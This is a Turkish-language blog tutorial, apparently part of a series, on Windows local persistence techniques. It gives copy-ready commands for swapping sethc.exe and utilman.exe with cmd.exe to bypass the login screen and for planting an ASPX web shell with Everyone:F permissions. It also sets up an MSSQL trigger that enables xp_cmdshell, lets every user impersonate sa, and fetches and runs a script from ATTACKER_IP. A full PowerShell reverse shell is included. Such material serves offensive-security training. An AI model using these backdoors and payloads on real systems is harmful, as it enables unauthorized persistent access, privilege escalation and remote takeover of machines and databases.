← Back to list

Windows Local Persistence -4-

Bir önceki bölümde Task Scheduler (Görev Zamanlayıcısı), Startup Folder, Run / RunOnce, Winlogon, Logon (Oturum Açma) Scriptleri…

Davut Enes ERSÖZ · 2024-03-22 03:26 · 1 claps · 4.8 min read
#persistence #sticky-keys #utilman #webshell #backdoor
Open on Medium ↗
Wiki topics: STP · Startups & Venture

Windows Local Persistence -4-

Bir önceki bölümde Task Scheduler (Görev Zamanlayıcısı), Startup Folder, Run / RunOnce, Winlogon, Logon (Oturum Açma) Scriptleri tekniklerini uygulamalı olarak anlatmıştım.

Windows Local Persistence uygulama kısmının bu bölümünde de;

6-)Login Ekranında Backdoor

  • Sticky Keys
  • Utilman

7-)Persisting Through Existing Services (Mevcut Servislerle Kalıcılık)

  • Web Shell Kullanmak
  • MSSQL’i Backdoor Olarak Kullanmak

Tekniklerinin uygulamalarını yapacağız.

6-)Login Ekranında Backdoor

  • Sticky Keys

Sticky keys yani yapışkan tuşlar SHİT, CTRL, ALT ve Windows logo tuşu için oluşturulmuş bir erişilebilirlik özelliğidir. SHİFT tuşuna art arda 5–6 kez basarak sticky keys etkinleştirebiliriz. Mesela CTRL+ALT+DELETE kombinasyonunu kullanmak için CTRL ve ALT tuşlarına basılı tutup DELETE tuşuna basmamız gerekirken sticky keys etkin durumdayken CTRL tuşuna basıp bırakıp, ALT tuşuna basıp bırakıp DELETE tuşuna basarak erişmek istediğimiz pencereye erişebilir hale gelebiliyoruz.

Bu görevde sticky keys’i kötüye kullanacağız.

Sticky keys C:\Windows\System32 dizinin altında sethc.exe dosyasının çalıştırılmasıyla aktif olur.

Bu senaryoda sethc.exe adlı dosyanın yerine cmd.exe dosyasını yerleştireceğiz ve böylelikle sticky keys yerine cmd yani komut satırı açılmış olacak.

Sethc.exe’nin üzerine yazmak için öncelikle dosyanın sahipliğini almamız ve mevcut kullanıcımıza dosyayı değiştirme izni vermemiz gerekir. Ancak o zaman onu cmd.exe’nin bir kopyasıyla değiştirebiliriz. Bunları aşağıdaki komutlarla yapabiliriz;

takeown /f c:\\Windows\\System32\\sethc.exe

icacls C:\\Windows\\System32\\sethc.exe /grant Administrator:F

copy c:\\Windows\\System32\\cmd.exe C:\\Windows\\System32\\sethc.exe

komutları çalıştırdıktan sonra oturumu kilitleyelim.

Kilit ekranında SHİFT tuşuna 5–6 defa art arda bastığımızda cmd açılacaktır.

  • Utilman

Utilman, kilit ekranında erişilebilirlik seçenekleri sağlamak için kullanılan yerleşik bir Windows uygulamasıdır:

Giriş ekranında erişilibirirlik butonuna tıkladığımızda C:\Windows\System32\ dizininin altında Utilman.exe dosyasını SYSTEM ayrıcalıklarıyla çalıştırıyor. Bunu cmd.exe’nin bir kopyasıyla değiştirirsek, sticky keys’de olduğu gibi giriş ekranını tekrar atlayabiliriz.

Yine dosyanın sahipliğini almamız ve mevcut kullanıcımıza dosyayı değiştirme izni vermemiz gerekecek.

takeown /f c:\Windows\System32\utilman.exe

icacls C:\Windows\System32\utilman.exe /grant Administrator:F

copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

Komutları çalıştırdıktan sonra kilit ekranına dönelim.

Ve utilman erişilebilirlik butonuna tıklayalım. Böylelikle cmd ekranı açılacaktır.

7-)Persisting Through Existing Services (Mevcut Servislerle Kalıcılık)

  • Web Shell Kullanmak

Bir web serverında persistence’a ulaşmanın genel yolu, web dizinine bir web shell yüklemektir. Bu önemsizdir ve bize IIS’de varsayılan olarak iis apppool\\defaultapppool olan yapılandırılmış kullanıcının yetkileriyle erişim sağlayacaktır. Bu ayrıcalıklı olmayan bir kullanıcı olsa bile, özel SeImpersonatePrivilege'e sahiptir ve bilinen çeşitli açıklardan yararlanarak Administrator’a iletmenin kolay bir yolunu sağlar.

bir asp web kabuğunu kullanacağız bir kaç araştırmayla aspx web shell bulabilirsiniz.

Bu shell dosyasını victim windows makinesine aktaralım ve varsayılan olarak C:\inetpub\wwwroot\ dizininde bulunan web köküne taşıyalım.

move shell.aspx C:\inetpub\wwwroot\

Bu işlemi yaptıktan sonra tarayıcının adres çubuğuna http://windows_mak_IP/shell.aspx yazıp enter‘a basalım eğer access denied yani erişim engellendi hatası verirse cmd‘de C:\inetpub\wwwroot\ dizinine gidip icacls shell.aspx /grant Everyone:F komutunu çalıştıralım.

Ve yine adres çubuğuna http://windows_mak_IP/shell.aspx yazıp web shell’i görebilir ve komut çalıştırabiliriz.

  • MSSQL’i Backdoor Olarak Kullanmak

MSSQL’deki triggers yani tetikleyiciler, database server’ında bir olay gerçekleştiğinde otomatik olarak çalışan özel bir tür saklı işlemdir. database serverdaki bu olaylar, bir kullanıcının oturum açmasından belirli bir tabloya veri eklenmesine, güncellenmesine veya silinmesine kadar değişebilir. Bu görev için HRDB database’ine herhangi bir INSERT yani bir veri eklemek için tetikleyici oluşturacağız.

Microsoft SQL Server Management Studio 18Etkinleştirmek için başlat menüsündeki shortcut öğesine tıklayalım. Açılması biraz zaman alabilir.

Kimlik doğrulama istendiğinde yalnızca Windows Authentication (varsayılan değer) kullanın; mevcut Windows Kullanıcınızın kimlik bilgileriyle oturum açacağız. Varsayılan olarak local Administrator hesabının tüm database’e erişimi olacaktır.

Oturum açtıktan sonra sorgu düzenleyiciyi açmak için New Query’e tıklayalım:

MSSQL yapılandırmasında “Advanced Options”u etkinleştirmek için aşağıdaki SQL cümlelerini çalıştıralım ve xp_cmdshell’i etkinleştirmeye devam edelim;

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

Bundan sonra database’e erişen herhangi bir web sitesinin xp_cmdshell’i çalıştırabildiğinden emin olmalıyız. Varsayılan olarak yalnızca sistem yöneticisi rolüne sahip database kullanıcıları bunu yapabilir. Web uygulamalarının kısıtlı bir database kullanıcısı kullanması beklendiğinden, tüm kullanıcılara varsayılan database yöneticisi olan sa kullanıcısını taklit etme ayrıcalıkları verebiliriz:

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

Tüm bunları çalıştırdıktan sonra HRDB database’ine geçiyoruz.

USE HRDB

Trigger yani tetikleyici, saldırgan tarafından kontrol edilen bir web sunucusundan bir .ps1 dosyasını indirip çalıştırmak üzere Powershell’i çalıştırmak için xp_cmdshell’den yararlanacaktır. Tetikleyici, HRDB veritabanının Çalışanlar tablosuna her INSERT yapıldığında yürütülecek şekilde yapılandırılacaktır:

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

Artık bacdoor hazır.

Daha sonra saldırgan makinemizde Powershell reverse shell’i içeren evilscript.ps1 dosyasını oluşturalım.

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

Kaydedip python3 -m http.server komutunu çalıştıralım farklı bir terminalde ise 4454 portunu dinlemeye alalım.

Bunlar hazır olduktan sonra windows makinesinin IP adresini tarayıcımızın adres çubuğuna yazarak web uygulamasına erişelim.

Web uygulamasında yeni bir veri ekleyelim ve add tuşuna basalım.

Tuşa basar basmaz evilscript.ps1 dosyamız transfer olacaktır. Biraz daha bekledikten sonra reverse shell almış olacağız.


메타데이터
post_id
5e47dd389d65
slug
windows-local-persistence-4-5e47dd389d65
url
https://medium.com/@davutenesersoz/windows-local-persistence-4-5e47dd389d65
canonical_url
https://medium.com/@davutenesersoz/windows-local-persistence-4-5e47dd389d65
author_url
https://medium.com/@davutenesersoz
status
ok
fetched_at
2026-07-08 02:40:31